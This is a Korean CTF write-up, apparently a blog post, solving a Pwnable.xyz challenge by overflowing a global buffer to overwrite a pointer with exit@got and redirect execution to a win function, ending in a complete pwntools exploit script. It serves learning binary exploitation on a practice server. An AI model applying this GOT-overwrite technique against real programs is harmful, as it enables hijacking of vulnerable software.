Execute
문제파일을 실행하면 프로그래밍적으로 취약한 프로그램이라고 하고 각각의 menu를 보여준다.
Analyze
보호기법을 보면 canary랑 nxbit만 켜져있다. RELRO가 full이 아니므로 got overwrite가 가능하지 싶다.
main
while문에 switch를 통해 분기되어있는 형태이다. 각각의 case에서 어떤 동작을하는지 알아보자.
- Case0: 프로그램을 종료한다.
- Case1 : dword_6026A8에 값이 들어있는 경우 short_append함수를 호출하고 아닌경우 메시지가 비어있다고 출력한다.
- Case2 : dword_6026A8에 값이 없는 경우 (정확히는 0) long_append함수를 호출하고 dword_6026A8에 1을 대입해준다. 값이 존재하는경우 v3에 들어있는 문자열을 바꿔준다.
- Case 3 : dest에 값이 있는 경우 v3 에 저장된 문자열을 바꾸고 dest의 address를 leak한다.
- Case 4 : save it함수를 호출한다.
Short_append
- Line 8 : rand함수를 통해 0~31의 난수를 생성해 v0에 대입한다.
- Line 11 : read함수를 통해 v0에 저장된 난수만큼 s에 입력을 받는다.
- Line 12 : strncat함수를 통해 x 전역변수에 s의 내용을 v0만큼 이어붙인다.
Long_append
Long_append함수는 short_append함수보다 조금 더 긴 내용을 붙일 수 있는 형태이고 동작구조는 거의 유사하나 buf을 calloc을 통해 메모리를 할당 받는다는 점에서 조금 차이가 있다. Long_append 함수에서 생성되는 난수는 해당연산이 %가 아닌 &이므로 0x3ff(1023)까지 일것이다.
Save_it
- Line 9,10 : Dest가 0인 경우 if문에 들어간다. v0변수에 x 전역변수의 길이를 계산해 대입해준다. 그리고 dest에 할당된 address를 넣고 v0만큼 malloc을 통해 할당해준다.
- Line 13 : n 변수에서 read_int32함수를 통해 입력 받는다.
- Line 14,15 : n이 0x400보다 작을 경우 strcnpy함수를 통해 dest에 x의 내용을 n만큼 복사한다.
Win
Flag를 출력해주는 함수임을 확인 할 수 있다.
solve
일단 short_append함수와 long_append함수를 통해 전역변수 x에 문자열을 계속 이어 붙일 수 있다. 여기서 길이 검증이 존재하지 않기 때문에 이 부분을 이용해야 할 것 같다. 따라서 다른 전역변수들을 덮어 쓸 수 있을 것이다. 전역변수의 분포를 한번 살펴보자
dest를 침범 할 수 있는데 save_it함수에서 dest에 x의 내용을 strcpy를 통해 복사 가능하므로 만약 got를 dest에 over write해주면 got에 대한 통제권을 얻을 수 있다. 따라서 win함수를 x를 통해 넣어주면 flag를 얻을 수 있을 것 같다. 또한 x와 dest사이의 거리는 1024 byte임을 확인 할 수 있다.
그럼 got를 덮어 쓸만한 함수를 선택해야한다. 여기서 문제가 발생하는데 현재 시나리오에서 사용할 함수들이 문자열 관련함수라서 NULL을 넣어줄 수가 없는데 win함수의 주소가 아래와 같다.
win함수의 주소를 넣기 위해서는 마지막 3byte만 over write해주고 나머지는 NULL로 채워져 있어야한다. 해당 부분을 넘어가려면 plt와 got의 동작구조를 알아야한다.
특정 libc함수들이 처음 호출이 되면 plt에서 got를 참조하고 plt로 돌아와서 _dl_runtime_resolve를 수행하고 got에 실제 주소를 저장해주고 해당 address로 분기한다. Printf 함수로 예시를 들어보자.
Main 초반부에 break를 걸고 함수 got의 내용을 gdb로 확인해주자.
이번에는 main 후반부에 break를 걸고 각각의 메뉴를 실행시킨다음 함수 got를 확인해보자.
위 결과처럼 아직 호출 되지 않은 함수들은 got에서 다시 plt로 이동해야 하므로 plt부분을 가르키고 있으므로 마지막 3byte를 제외하면 null로 되어있다. 따라서 got를 덮어쓸 함수를 한번도 실행되지 않은 함수로 선정해야 한다. 또한 main함수 내부에서 동작이 확인 되어야한다. 몇가지 후보군이 존재 한다.
__stack_chk_fail(), system(), memset(), exit()
__stack_chk_fail()은 canary 값이 변조되어야 호출되어야 한다.
system()와 memset()은 메인 함수 루틴에 존재하지 않으므로 사용 불가능하다.
exit함수가 사용가능한데 이유는 main함수가 시작하는 부분에서 setup함수가 실행되는데 해당 함수에서 handler 함수에서 exit를 확인 할 수 있다.
해당 함수들은 pwnable.xyz에 항상 등장하는 함수인데 일정 시간이 지나면 프로그램을 종료시키는 역할을 한다. 따라서 exit의 got를 overwrite하고 일정시간이 지나면 exit함수가 실행될것이므로 flag를 얻을 수 있을 것이다.
풀이 로직은 아래와 같다.
- Long_append함수나 short_append함수를 통해 문자열을 계속 이어 붙이는데 초기 3byte는 win함수의 주소가 되어야한다.
- 1024byte 만큼 이어 붙여진 경우 dest에 exit@got로 over write해주기
- 일정시간이 지나 handler가 실행되면 exit가 실행되면서 win함수로 분기 하게 된다.
문자열을 이어 붙이는 과정에서 난수를 통해 넣어서 exploit짜기가 조금 난해한데 long_append함수로 1000가까이 할당 받고 short_append함수를 이용해 1024 byte에 딱 맞춰야 할 것 같다. 작성한 exploit은 아래와 같다.
from pwn import *
exit_got = b"\xa0\x20\x60"
win_addr = b"\x2d\x0b\x40"
dummy = 1024
#set dummy
while(1):
p = remote("svc.pwnable.xyz", 30022)
p.sendlineafter("> ", "2")
p.recvuntil("Give me ")
num = int(p.recvuntil(" c")[:-2])
if num>900:
print(num)
break
# input 1024bytes
payload = win_addr
payload += b"A" * (num - 3)
p.sendafter(": ", payload)
dummy = dummy - num
while dummy > 0:
p.sendlineafter("> ", "1")
p.recvuntil("Give me ")
num = int(p.recvuntil(" c")[:-2])
if dummy > num:
p.sendafter(": ", "A" * num)
else:
p.sendafter(": ", "A" * dummy)
dummy = dummy - num
# input exit@got to dest
p.sendlineafter("> ", "1")
p.recvuntil("Give me ")
num = int(p.recvuntil(" c")[:-2])
if num > 3:
p.sendafter(": ", exit_got)
# got overwrite
p.sendlineafter("> ", "4")
p.sendlineafter("? ", "3")
#wait
p.interactive()
Exit가 호출될 때 까지 기다리면 win함수가 실행되어 flag를 확인 할 수 있다.
'Wargmae > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz – Punch it] (0) | 2021.01.17 |
---|---|
[Pwnable.xyz - J-U-M-P] (4) | 2021.01.07 |
[Pwnable.xyz - TLSv00] (0) | 2021.01.02 |
[Pwnable.xyz - Welcome] (1) | 2021.01.02 |